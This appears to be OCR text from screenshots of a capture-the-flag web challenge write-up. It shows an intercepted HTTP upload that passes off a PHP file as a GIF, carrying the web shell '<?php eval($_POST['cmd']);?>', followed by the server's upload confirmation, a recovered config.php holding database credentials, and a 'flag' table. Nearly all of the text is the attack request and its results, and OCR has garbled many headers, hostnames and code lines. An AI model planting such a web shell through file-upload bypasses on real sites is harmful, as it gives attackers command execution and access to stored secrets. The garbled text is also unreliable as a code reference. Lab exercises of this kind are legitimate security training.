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l:J Request to http://0c7e14933f614f65aee514868f400f4a65556d678c5adaeb game ichungiu.com:80 [106.39.208.9]

[ Forward J l Drop J [ Intercept is on ] l Action —
Params | Headers

POST / HTTP/1.1 A

Host: 0c7el4933f614f65aee514B68F400f4a65556d678c5adaeb. game. ichungiu. com "

Content—Length: 419
Cache—Control: max—age=0

Accept: text/html, application/xhtml+xml, application/xml:g=0.9, image/webp, */%,q=0.8

Origin: http://0c7e14933f014f65aee514868F400F4a65556d678coadaeb. game. ichungiu. com

Upgrade—Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0. WOW64) AppleWebKit/537.36 (KHTML, |ike Gecko) Chrome/4%.0.2623. 221 Safari/537.36 SE 2. X MetaSr 1.0
Content-Type: multipart/form—data: boundary=——-—-WebKitFormBoundaryfJBWBFRZYu7iVywk

Referer: http://0c7e14933f614F65aee514B68Ff400f4a65556d678c5adaeb. game. ichungiu. com/

Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh:g=0.8
Cockie: PHPSESSID=k!iurddgSucsje
Connection: close

kd1naagk8n0

Content—Disposition: form— ; name="dir"

JBWBFR2VUT i Vvwk
Content-Disposition: m-data; name="file"; filename="1,php"

Content-Type: image/gif
<7php eval ($ POST['cmd']) ;7>
—————-WebK i tFormBoundary FJBWBFR2ZVuT i Vvwk

Content-Disposition: form-data: name="submit”

Submit
—————— WebKitFormBoundary fJBWBFRZVUT i Vvwk——
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| Submit

Upload: 1.php

Tvpe: imagefgif
Size: 0.0Y734375 Kb
l.php already exists.
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| Fl0c7a14933F614 565 . | 007145336 5] + > =0 X
A fraxrfwwn/hinl/confiz phy v | 1RF FHA7S 2018-04-21 = AR

SPpbo ‘B E] #EXS

error_reporting(0); = s

sessinn_start(?, AR

%servername - ”lscal]\ost": Typel

usernane = ctf": . T BigienE

$password = “ctfctfetf ; > E

$database = "otf”; iR

/f FEREDENG « 1on w
$conn = mysql_connect($zervername, $username, $pazsword) or die(” conmect to mysql errer”);
mysql_select_db($database);

ke
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thiTRkTh REN AT flag
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B ] etf
= flag

flag (varchar(255))
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